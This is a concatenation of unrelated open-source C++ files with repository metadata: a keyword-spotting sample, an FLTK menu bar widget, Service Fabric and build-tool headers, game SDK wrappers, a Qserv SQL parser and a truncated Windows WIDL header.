///< 全局免打扰设置: 0:关闭免打扰 1:打开免打扰 UserInfoLiteList users; ///< 免打扰的用户 GroupInfoList groups; ///< 免打扰的群 }; //! 消息回执信息 \sa Client::getMessageReceipts struct MessageReceipts { UserIdList unreadUserList; //!< 消息未读用户列表 UserIdList readUserList; //!< 消息已读用户列表 }; //! 多端登录历史记录 struct MultiLoginRecord { Platform platform{}; ///< 登录平台 int64_t loginTime{};///< 最近登录时间 bool online{}; ///< 是否在线 bool login{}; ///< 是否登录 bool flag{}; ///< 该设备是否被当前登录设备踢出 }; } #ifdef _MSC_VER #pragma warning(pop) #endif
22b9afa490d92a59d64d435d12d599a22314fc83
b06f7a6d14e060c38226b6b80dffa21c21423e71
/ai/asr/keyword_spotting/kws_app.cpp
d08198ea93329fee91246a9e298f300a1e835e8c
[ "Apache-2.0" ]
permissive
openharmony-sig-ci/applications_sample_camera
27a4b49b7bca0f8f788ea3eb4660082cc85d38a6
e27ecf599ca9676e22ec01c735aba7e97671b0be
refs/heads/master
2023-08-17T20:45:30.758945
2021-09-11T03:44:27
2021-09-11T03:44:27
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,894
cpp
kws_app.cpp
/* * Copyright (c) 2021 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <cstdio> #include <iostream> #include <memory> #include "kws_manager.h" using namespace std; using namespace KWS; static void SampleHelp() { printf("****************************************\n"); printf("Select the behavior of KWS app.\n"); printf("s: AudioCap (Press q to quit)\n"); printf("q: quit the sample.\n"); printf("****************************************\n"); } int main() { printf("Keyword spotting started.\n"); SampleHelp(); shared_ptr<KwsManager> kwsMgr = make_shared<KwsManager>(AUDIO_SAMPLE_RATE, AUDIO_CODEC_BITRATE); if (kwsMgr == nullptr) { printf("Keyword spotting failed to allocate KWSManager.\n"); return -1; } if (!kwsMgr->Prepare()) { printf("Keyword spotting failed to prepare KWSManager.\n"); return -1; } char input = ' '; while (cin >> input) { switch (input) { case 's': kwsMgr->Start(); break; case 'q': kwsMgr->Stop(); printf("Keyword spotting Terminated.\n"); return 0; default: SampleHelp(); break; } } return 0; }
d6b6bdc40d2a561e7ea45f2b15c7bc5c2c11db6a
0fa0a47b7bffe1805ecb8201df51e8c84d85e9d3
/src/Fle_MenuBar.cpp
4a79af28c9335e58f3860e7e5b2d3a65d6903370
[]
no_license
Moaaz-Rafique/FL-Essentials
28e0cd73e7b6811cf32b1b4b4cb71c5b84f8e343
16ab22d65fc3974cb0be34edd9585d4d4a102021
refs/heads/master
2023-03-16T19:47:33.708122
2021-01-09T01:05:26
2021-01-09T01:05:26
null
0
0
null
null
null
null
UTF-8
C++
false
false
6,605
cpp
Fle_MenuBar.cpp
/********************************************************************************* created: 2017/01/28 06:54AM filename: Fle_MenuBar.h file base: Fle_MenuBar file ext: h author: Furqan Ullah (Post-doc, Ph.D.) website: http://real3d.pk CopyRight: All Rights Reserved purpose: A customized menu bar with fixed size and position compatibility. /********************************************************************************** FL-ESSENTIALS (FLE) - FLTK Utility Widgets Copyright (C) 2014-2019 REAL3D This file and its content is protected by a software license. You should have received a copy of this license with this file. If not, please contact Dr. Furqan Ullah immediately: **********************************************************************************/ #include <FLE/Fle_MenuBar.h> #include <FL/fl_draw.H> #include <FL/Fl.H> using namespace R3D; Fle_MenuBar::Fle_MenuBar(int _x, int _y, int _w, int _h, const char* _text) : Fl_Menu_Bar(_x, _y, _w, _h, _text), m_menubox(Fl_Boxtype::FL_FLAT_BOX), p_rightclick_popup_items(nullptr), p_rightclick_popup_item_cb(nullptr), p_rightclick_popup_cb_data(nullptr), m_is_popup(true) { // Qt colors //setMenuBarColor(255, 255, 255); //setMenuBarItemsColor(240, 240, 240); //setSelectionColor(144, 200, 246); // MS VS2013 colors setMenuBarColor(204, 209, 223); setMenuBarItemsColor(fl_rgb_color(224, 230, 245)); setSelectionColor(253, 244, 191); setRightClickPopupColor(fl_rgb_color(234, 240, 255)); setRightClickPopupTextColor(fl_rgb_color(1, 1, 1)); box(Fl_Boxtype::FL_FLAT_BOX); down_box(Fl_Boxtype::FL_FLAT_BOX); textsize(12); textfont(FL_HELVETICA); align(FL_ALIGN_WRAP | FL_ALIGN_CENTER | FL_ALIGN_TEXT_OVER_IMAGE | FL_ALIGN_CLIP); } Fle_MenuBar::~Fle_MenuBar() { } void Fle_MenuBar::draw() { draw(Fl_Menu_Bar::x(), Fl_Menu_Bar::y(), Fl_Menu_Bar::w(), Fl_Menu_Bar::h()); } void Fle_MenuBar::draw(int _x, int _y, int _w, int _h) { draw_box(m_menubox, _x, _y, _w, _h, m_menucolor); if (!menu() || !menu()->text) return; const Fl_Menu_Item* m; int X = _x + 6; for (m = menu()->first(); m->text; m = m->next()) { int W = m->measure(0, this) + 16; m->draw(X, _y, W, _h, this); X += W; if (m->flags & FL_MENU_DIVIDER) { int y1 = _y + Fl::box_dy(box()); int y2 = y1 + _h - Fl::box_dh(box()) - 1; // draw a vertical divider between menus. fl_color(FL_DARK3); fl_yxline(X - 6, y1, y2); fl_color(FL_LIGHT3); fl_yxline(X - 5, y1, y2); } } } int Fle_MenuBar::handle(int _e) { switch (_e) { case FL_PUSH: if (Fl::event_button() == FL_RIGHT_MOUSE) { if (p_rightclick_popup_items && m_is_popup) { Fl_Menu_Button mb(Fl::event_x(), Fl::event_y(), 0, 0); mb.box(FL_FLAT_BOX); mb.down_box(FL_FLAT_BOX); //mb.color(fl_rgb_color(242, 244, 254)); mb.color(m_rclick_pop_clr); mb.textcolor(m_rclick_pop_tclr); mb.color2(fl_rgb_color(253, 244, 191)); mb.labelsize(12); mb.textsize(12); mb.clear_visible_focus(); mb.menu(p_rightclick_popup_items); if (p_rightclick_popup_item_cb && p_rightclick_popup_cb_data) mb.callback(p_rightclick_popup_item_cb, p_rightclick_popup_cb_data); mb.popup(); } return 1; // tells caller we handled this event } break; case FL_RELEASE: if (Fl::event_button() == FL_RIGHT_MOUSE) return 1; // tells caller we handled this event break; default: break; } return Fl_Menu_Bar::handle(_e); } void Fle_MenuBar::setMenuBarItemsColor(uchar _red, uchar _green, uchar _blue) { Fl_Menu_Bar::color(fl_rgb_color(_red, _green, _blue)); } void Fle_MenuBar::setMenuBarItemsColor(Fl_Color _color) { Fl_Menu_Bar::color(_color); } Fl_Color Fle_MenuBar::getMenuBarItemsColor() const { return Fl_Menu_Bar::color(); } void Fle_MenuBar::setMenuBarColor(uchar _red, uchar _green, uchar _blue) { m_menucolor = fl_rgb_color(_red, _green, _blue); redraw(); } Fl_Color Fle_MenuBar::getMenuBarColor() const { return m_menucolor; } void Fle_MenuBar::setSelectionColor(uchar _red, uchar _green, uchar _blue) { Fl_Menu_Bar::selection_color(fl_rgb_color(_red, _green, _blue)); } void Fle_MenuBar::setSelectionColor(Fl_Color _color) { Fl_Menu_Bar::selection_color(_color); } Fl_Color Fle_MenuBar::getSelectionColor() const { return Fl_Menu_Bar::selection_color(); //uchar r = (c & 0xFF000000) >> 24; //uchar g = (c & 0x00FF0000) >> 16; //uchar b = (c & 0x0000FF00) >> 8; //return cv::Vec3b(r, g, b); } bool Fle_MenuBar::setRadioItemOn(const char* _item_name, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_item_name); if (m) { if (_state) m->setonly(); else m->clear(); return true; } return false; } bool Fle_MenuBar::isRadioItemOn(const char* _item_name) { return getItemState(_item_name); } bool Fle_MenuBar::setRadioItemOn(Fl_Callback* _cb, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_cb); if (m) { if (_state) m->setonly(); else m->clear(); return true; } return false; } bool Fle_MenuBar::isRadioItemOn(Fl_Callback* _cb) { return getItemState(_cb); } bool Fle_MenuBar::setItemState(const char* _item_name, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_item_name); if (m) { if (_state) m->set(); else m->clear(); return true; } return false; } bool Fle_MenuBar::getItemState(const char* _item_name) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_item_name); if (m) { if (m->value() > 0) return true; } return false; } bool Fle_MenuBar::setItemState(Fl_Callback* _cb, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_cb); if (m) { if (_state) m->set(); else m->clear(); return true; } return false; } bool Fle_MenuBar::getItemState(Fl_Callback* _cb) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_cb); if (m) { if (m->value() > 0) return true; } return false; } bool Fle_MenuBar::setItemActive(const char* _item_name, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_item_name); if (m) { if (_state) m->activate(); else m->deactivate(); return true; } return false; } bool Fle_MenuBar::isItemActive(const char* _item_name) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_item_name); if (m) { if (m->active()) return true; } return false; } bool Fle_MenuBar::setItemActive(Fl_Callback* _cb, bool _state) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_cb); if (m) { if (_state) m->activate(); else m->deactivate(); return true; } return false; } bool Fle_MenuBar::isItemActive(Fl_Callback* _cb) { Fl_Menu_Item* m = (Fl_Menu_Item*)find_item(_cb); if (m) { if (m->active()) return true; } return false; }
69268ed62178f2a71804de38b3e11a4f2d3c9ed1
a92b18defb50c5d1118a11bc364f17b148312028
/src/prod/src/Management/DnsService/src/Fabric/FabricResolve.h
8dc6d979c8c7ec465638690690e865bd31f0921f
[ "MIT" ]
permissive
KDSBest/service-fabric
34694e150fde662286e25f048fb763c97606382e
fe61c45b15a30fb089ad891c68c893b3a976e404
refs/heads/master
2023-01-28T23:19:25.040275
2020-11-30T11:11:58
2020-11-30T11:11:58
301,365,601
1
0
MIT
2020-11-30T11:11:59
2020-10-05T10:05:53
null
UTF-8
C++
false
false
2,815
h
FabricResolve.h
// ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ #pragma once namespace DNS { using ::_delete; class FabricResolve : public KAsyncContextBase, public IFabricResolve { K_FORCE_SHARED(FabricResolve); K_SHARED_INTERFACE_IMP(IFabricResolve); public: static void Create( __out FabricResolve::SPtr& spResolveOp, __in KAllocator& allocator, __in const KString::SPtr& spServiceName, __in const IDnsTracer::SPtr& spTracer, __in const IFabricData::SPtr& spData, __in const IDnsCache::SPtr& spCache, __in IFabricServiceManagementClient* pFabricServiceClient, __in IFabricPropertyManagementClient* pFabricPropertyClient ); private: FabricResolve( __in const KString::SPtr& spServiceName, __in const IDnsTracer::SPtr& spTracer, __in const IFabricData::SPtr& spData, __in const IDnsCache::SPtr& spCache, __in IFabricServiceManagementClient* pFabricServiceClient, __in IFabricPropertyManagementClient* pFabricPropertyClient ); private: // KAsyncContextBase Impl. using KAsyncContextBase::Start; virtual void OnStart() override; virtual void OnCompleted() override; virtual void OnReuse() override; virtual void OnCancel() override; public: // IFabricResolve Impl. virtual void Open( __in KAsyncContextBase* const parent ) override; virtual void CloseAsync() override; virtual IFabricResolveOp::SPtr CreateResolveOp( __in ULONG fabricQueryTimeoutInSeconds, __in const KString::SPtr& spStrPartitionPrefix, __in const KString::SPtr& spStrPartitionSuffix, __in bool fIsPartitionedQueryEnabled ) const override; virtual void NotifyServiceChanged( __in KString& serviceName, __in bool fServiceDeleted ) override; private: IDnsTracer & Tracer() { return *_spTracer; } private: bool _fActive; KSpinLock _lock; KString::SPtr _spServiceName; IDnsTracer::SPtr _spTracer; IFabricData::SPtr _spData; IDnsCache::SPtr _spCache; ComPointer<IFabricServiceManagementClient> _spFabricServiceClient; ComPointer<IFabricPropertyManagementClient> _spFabricPropertyClient; }; }
9c59ce3330f06eafe916db20101b14b004ff409d
d9705c6aa70b89793c0185b599e38bdb67a93cbd
/src/entities/NPC.h
209be425511e56adf172408e491ae6dfcc2461a2
[]
no_license
gmevelec/firstgame
344570b0140ccf27823f3ec81a400805aa6ded08
216472ec153d73e26d578269d89bc41eb0059aa6
refs/heads/master
2020-05-21T17:58:18.121526
2017-01-04T06:41:25
2017-01-04T06:41:25
64,141,804
0
0
null
null
null
null
UTF-8
C++
false
false
378
h
NPC.h
#pragma once #include "entities/Entity.h" #include "terrains/Terrain.h" #include <string> #include <vector> class NPC : public Entity { public: NPC(TexturedModel model, glm::vec3 position, glm::vec3 rotation, float scale, std::string name); virtual ~NPC(); virtual void move(std::vector<Terrain> terrains) = 0; std::string getName(); protected: std::string _name; };
406caff6bac0b138d9f73f77d7deccf7c1bea7fe
a850ebf5c37a1b072f599ed7384ad2f27e881e02
/repobuild/nodes/execute_test.h
341dec1a3455463a13a9d7e33b6c6b65125b0c3a
[ "BSD-3-Clause", "LicenseRef-scancode-public-domain" ]
permissive
silky/repobuild
c98a309b63dd6197fa60f6d4de8e2622a4656ada
ec5c6a39ecda3d3210dfa63b486a63b4ac7d4fa0
refs/heads/master
2021-01-18T03:03:14.173916
2015-05-07T15:35:20
2015-05-07T15:35:20
35,979,838
1
0
null
2015-05-20T23:33:30
2015-05-20T23:33:30
null
UTF-8
C++
false
false
1,549
h
execute_test.h
// Copyright 2013 // Author: Christopher Van Arsdale #ifndef _REPOBUILD_NODES_EXECUTE_TEST_H__ #define _REPOBUILD_NODES_EXECUTE_TEST_H__ #include <set> #include <string> #include <vector> #include "repobuild/env/resource.h" #include "repobuild/nodes/node.h" #include "repobuild/reader/buildfile.h" namespace repobuild { class ExecuteTestNode : public Node { public: ExecuteTestNode(const TargetInfo& target, const Input& input, DistSource* source); virtual ~ExecuteTestNode(); virtual bool IncludeInAll() const { return false; } virtual bool IncludeInTests() const { return true; } virtual void LocalWriteMake(Makefile* out) const; virtual void LocalTests(LanguageType lang, std::set<std::string>* targets) const; protected: void AddShNodes(BuildFile* file, Node* binary_node); TargetInfo orig_target_; }; template <class T> class ExecuteTestNodeImpl : public ExecuteTestNode { public: ExecuteTestNodeImpl(const TargetInfo& target, const Input& input, DistSource* source) : ExecuteTestNode(target, input, source) { } virtual ~ExecuteTestNodeImpl() {} virtual void Parse(BuildFile* file, const BuildFileNode& input) { // binary node Node* subnode = new T(orig_target_, Node::input(), Node::dist_source()); subnode->Parse(file, input); AddSubNode(subnode); // test node. AddShNodes(file, subnode); } }; #endif // _REPOBUILD_NODES_EXECUTE_TEST_H__ } // namespace repobuild
ea7e021a3aa1d38cb61e36aeac8ee0cf0bbb20b3
ec68c973b7cd3821dd70ed6787497a0f808e18e1
/Cpp/SDK/Quest_SmallD_RootCultist_functions.cpp
ec8900bc44f861dcb2c0eb4310286007f1ffe08d
[]
no_license
Hengle/zRemnant-SDK
05be5801567a8cf67e8b03c50010f590d4e2599d
be2d99fb54f44a09ca52abc5f898e665964a24cb
refs/heads/main
2023-07-16T04:44:43.113226
2021-08-27T14:26:40
2021-08-27T14:26:40
null
0
0
null
null
null
null
UTF-8
C++
false
false
6,076
cpp
Quest_SmallD_RootCultist_functions.cpp
// Name: Remnant, Version: 1.0 #include "../pch.h" /*!!DEFINE!!*/ /*!!HELPER_DEF!!*/ /*!!HELPER_INC!!*/ #ifdef _MSC_VER #pragma pack(push, 0x01) #endif namespace CG { //--------------------------------------------------------------------------- // Functions //--------------------------------------------------------------------------- // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Nexus1_K2Node_ComponentBoundEvent_0_QuestActorDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__Nexus1_K2Node_ComponentBoundEvent_0_QuestActorDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Nexus1_K2Node_ComponentBoundEvent_0_QuestActorDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__Nexus1_K2Node_ComponentBoundEvent_0_QuestActorDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__KillNexus1_K2Node_ComponentBoundEvent_2_QuestVoidDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__KillNexus1_K2Node_ComponentBoundEvent_2_QuestVoidDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__KillNexus1_K2Node_ComponentBoundEvent_2_QuestVoidDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__KillNexus1_K2Node_ComponentBoundEvent_2_QuestVoidDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__KillNexus2_K2Node_ComponentBoundEvent_3_QuestVoidDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__KillNexus2_K2Node_ComponentBoundEvent_3_QuestVoidDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__KillNexus2_K2Node_ComponentBoundEvent_3_QuestVoidDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__KillNexus2_K2Node_ComponentBoundEvent_3_QuestVoidDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.MakeCultistHostile // () void AQuest_SmallD_RootCultist_C::MakeCultistHostile() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.MakeCultistHostile"); AQuest_SmallD_RootCultist_C_MakeCultistHostile_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.GiveOptionalReward // () void AQuest_SmallD_RootCultist_C::GiveOptionalReward() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.GiveOptionalReward"); AQuest_SmallD_RootCultist_C_GiveOptionalReward_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Cultist_K2Node_ComponentBoundEvent_6_QuestActorDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__Cultist_K2Node_ComponentBoundEvent_6_QuestActorDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Cultist_K2Node_ComponentBoundEvent_6_QuestActorDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__Cultist_K2Node_ComponentBoundEvent_6_QuestActorDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Kill_Cultist_K2Node_ComponentBoundEvent_9_QuestVoidDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__Kill_Cultist_K2Node_ComponentBoundEvent_9_QuestVoidDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Kill_Cultist_K2Node_ComponentBoundEvent_9_QuestVoidDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__Kill_Cultist_K2Node_ComponentBoundEvent_9_QuestVoidDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Nexus2_K2Node_ComponentBoundEvent_3_QuestActorDelegate__DelegateSignature // () void AQuest_SmallD_RootCultist_C::BndEvt__Nexus2_K2Node_ComponentBoundEvent_3_QuestActorDelegate__DelegateSignature() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.BndEvt__Nexus2_K2Node_ComponentBoundEvent_3_QuestActorDelegate__DelegateSignature"); AQuest_SmallD_RootCultist_C_BndEvt__Nexus2_K2Node_ComponentBoundEvent_3_QuestActorDelegate__DelegateSignature_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.ExecuteUbergraph_Quest_SmallD_RootCultist // () void AQuest_SmallD_RootCultist_C::ExecuteUbergraph_Quest_SmallD_RootCultist() { static auto fn = UObject::FindObject<UFunction>("Function Quest_SmallD_RootCultist.Quest_SmallD_RootCultist_C.ExecuteUbergraph_Quest_SmallD_RootCultist"); AQuest_SmallD_RootCultist_C_ExecuteUbergraph_Quest_SmallD_RootCultist_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } } #ifdef _MSC_VER #pragma pack(pop) #endif
2c017e4a44ab05325fa27162434c384326ec16b5
a702fd5e803eca1fc66a4bb435ed68837db4a47b
/core/modules/parser/ValueExprFactory.cc
a764be34b29febaecab11a015601a5d48eef1793
[]
no_license
fjammes/qserv
f65c5775ca7f5a286b0bef2fd215a71ca47bc249
00595c8e6a3ec538c191976045c3c06fc0a15626
refs/heads/master
2020-04-27T18:02:32.130713
2019-03-18T08:42:36
2019-03-18T08:42:36
25,034,564
0
0
null
null
null
null
UTF-8
C++
false
false
4,942
cc
ValueExprFactory.cc
// -*- LSST-C++ -*- /* * LSST Data Management System * Copyright 2012-2016 AURA/LSST. * * This product includes software developed by the * LSST Project (http://www.lsst.org/). * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the LSST License Statement and * the GNU General Public License along with this program. If not, * see <http://www.lsstcorp.org/LegalNotices/>. */ /** * @file * * @brief ValueExprFactory constructs ValueExpr instances from ANTLR subtrees. * * @author Daniel L. Wang, SLAC */ // Class header #include "parser/ValueExprFactory.h" // Third-party headers // LSST headers #include "lsst/log/Log.h" // Qserv headers #include "parser/ValueFactorFactory.h" #include "parser/ColumnRefH.h" #include "query/ValueExpr.h" // For ValueExpr, FuncExpr #include "query/ValueFactor.h" // For ValueFactor #include "parser/ParseException.h" // #include "parser/SqlSQL2TokenTypes.hpp" // antlr-generated using antlr::RefAST; namespace { LOG_LOGGER _log = LOG_GET("lsst.qserv.parser.ValueExprFactory"); } namespace lsst { namespace qserv { namespace parser { void ValueExprFactory::addValueFactor(std::shared_ptr<query::ValueExpr> valueExpr, std::shared_ptr<query::ValueFactor> valueFactor) { query::ValueExpr::FactorOp factorOp; factorOp.factor = valueFactor; valueExpr->_factorOps.push_back(factorOp); } void ValueExprFactory::addFuncExpr(std::shared_ptr<query::ValueExpr> valueExpr, std::shared_ptr<query::FuncExpr> funcExpr) { query::ValueExpr::FactorOp factorOp; factorOp.factor = query::ValueFactor::newFuncFactor(funcExpr); valueExpr->_factorOps.push_back(factorOp); } bool ValueExprFactory::addOp(std::shared_ptr<query::ValueExpr> valueExpr, query::ValueExpr::Op op) { if (valueExpr->_factorOps.empty()) { return false; } valueExpr->_factorOps.back().op = op; return true; } //////////////////////////////////////////////////////////////////////// // ValueExprFactory implementation //////////////////////////////////////////////////////////////////////// ValueExprFactory::ValueExprFactory(std::shared_ptr<ColumnRefNodeMap> cMap) : _valueFactorFactory(new ValueFactorFactory(cMap, *this)) { } // VALUE_EXP // // | \ // // TERM (TERM_OP TERM)* // /// @param first child of VALUE_EXP node. std::shared_ptr<query::ValueExpr> ValueExprFactory::newExpr(antlr::RefAST a) { std::shared_ptr<query::ValueExpr> expr = std::make_shared<query::ValueExpr>(); while(a.get()) { query::ValueExpr::FactorOp newFactorOp; RefAST op = a->getNextSibling(); newFactorOp.factor = _valueFactorFactory->newFactor(a); if (op.get()) { // No more ops? int eType = op->getType(); switch(eType) { case SqlSQL2TokenTypes::PLUS_SIGN: newFactorOp.op = query::ValueExpr::PLUS; break; case SqlSQL2TokenTypes::MINUS_SIGN: newFactorOp.op = query::ValueExpr::MINUS; break; case SqlSQL2TokenTypes::ASTERISK: newFactorOp.op = query::ValueExpr::MULTIPLY; break; case SqlSQL2TokenTypes::SOLIDUS: newFactorOp.op = query::ValueExpr::DIVIDE; break; default: newFactorOp.op = query::ValueExpr::UNKNOWN; throw ParseException("unhandled factor_op type:", op); } a = op->getNextSibling(); } else { newFactorOp.op = query::ValueExpr::NONE; a = RefAST(); // set to NULL. } expr->_factorOps.push_back(newFactorOp); } #if 0 if (LOG_CHECK_LVL(_log, _LOG_LVL_DEBUG)) { std::stringstream ss; std::copy(expr->_factorOps.begin(), expr->_factorOps.end(), std::ostream_iterator<query::ValueExpr::FactorOp>(ss, ",")); LOGS(_log, LOG_LVL_DEBUG, "Imported expr: " << ss.str()); } #endif if (expr->isFactor() && expr->getAlias().empty()) { // Singleton factor? Check inside for optimization opportunities. if (expr->getFactor()->getType() == query::ValueFactor::EXPR) { // Pop the value expr out. return expr->getFactorOps().front().factor->getExpr(); } } return expr; } }}} // namespace lsst::qserv::parser
443afd04c38c5873fe2924164ad0547e3724a64e
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
/lib/libc/include/any-windows-any/windows.foundation.h
97e028b896110c913d965dec3f9f292591cd6e51
[ "MIT", "LicenseRef-scancode-warranty-disclaimer", "LicenseRef-scancode-public-domain" ]
permissive
ziglang/zig
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
refs/heads/master
2023-08-31T13:16:45.980913
2023-08-31T05:50:29
2023-08-31T05:50:29
40,276,274
25,560
2,399
MIT
2023-09-14T21:09:50
2015-08-06T00:51:28
Zig
UTF-8
C++
false
false
41,030
h
windows.foundation.h
/*** Autogenerated by WIDL 7.0 from include/windows.foundation.idl - Do not edit ***/ #ifdef _WIN32 #ifndef __REQUIRED_RPCNDR_H_VERSION__ #define __REQUIRED_RPCNDR_H_VERSION__ 475 #endif #include <rpc.h> #include <rpcndr.h> #endif #ifndef COM_NO_WINDOWS_H #include <windows.h> #include <ole2.h> #endif #ifndef __windows_foundation_h__ #define __windows_foundation_h__ /* Forward declarations */ #ifndef ____x_ABI_CWindows_CFoundation_CIStringable_FWD_DEFINED__ #define ____x_ABI_CWindows_CFoundation_CIStringable_FWD_DEFINED__ typedef interface __x_ABI_CWindows_CFoundation_CIStringable __x_ABI_CWindows_CFoundation_CIStringable; #ifdef __cplusplus #define __x_ABI_CWindows_CFoundation_CIStringable ABI::Windows::Foundation::IStringable namespace ABI { namespace Windows { namespace Foundation { interface IStringable; } } } #endif /* __cplusplus */ #endif #ifndef ____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__ #define ____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__ typedef interface __x_ABI_CWindows_CFoundation_CIClosable __x_ABI_CWindows_CFoundation_CIClosable; #ifdef __cplusplus #define __x_ABI_CWindows_CFoundation_CIClosable ABI::Windows::Foundation::IClosable namespace ABI { namespace Windows { namespace Foundation { interface IClosable; } } } #endif /* __cplusplus */ #endif #ifndef ____FIAsyncOperationCompletedHandler_1_boolean_FWD_DEFINED__ #define ____FIAsyncOperationCompletedHandler_1_boolean_FWD_DEFINED__ typedef interface __FIAsyncOperationCompletedHandler_1_boolean __FIAsyncOperationCompletedHandler_1_boolean; #ifdef __cplusplus #define __FIAsyncOperationCompletedHandler_1_boolean ABI::Windows::Foundation::IAsyncOperationCompletedHandler<boolean > #endif /* __cplusplus */ #endif #ifndef ____FIAsyncOperation_1_boolean_FWD_DEFINED__ #define ____FIAsyncOperation_1_boolean_FWD_DEFINED__ typedef interface __FIAsyncOperation_1_boolean __FIAsyncOperation_1_boolean; #ifdef __cplusplus #define __FIAsyncOperation_1_boolean ABI::Windows::Foundation::IAsyncOperation<boolean > #endif /* __cplusplus */ #endif #ifndef ____FIVectorView_1_HSTRING_FWD_DEFINED__ #define ____FIVectorView_1_HSTRING_FWD_DEFINED__ typedef interface __FIVectorView_1_HSTRING __FIVectorView_1_HSTRING; #ifdef __cplusplus #define __FIVectorView_1_HSTRING ABI::Windows::Foundation::Collections::IVectorView<HSTRING > #endif /* __cplusplus */ #endif /* Headers for imported files */ #include <inspectable.h> #include <asyncinfo.h> #include <windowscontracts.h> #include <windows.foundation.collections.h> #ifdef __cplusplus extern "C" { #endif #ifdef __cplusplus namespace ABI { namespace Windows { namespace Foundation { typedef enum PropertyType PropertyType; } } } #else /* __cplusplus */ typedef enum __x_ABI_CWindows_CFoundation_CPropertyType __x_ABI_CWindows_CFoundation_CPropertyType; #endif /* __cplusplus */ #ifdef __cplusplus namespace ABI { namespace Windows { namespace Foundation { typedef struct Point Point; } } } #else /* __cplusplus */ typedef struct __x_ABI_CWindows_CFoundation_CPoint __x_ABI_CWindows_CFoundation_CPoint; #endif /* __cplusplus */ #ifdef __cplusplus namespace ABI { namespace Windows { namespace 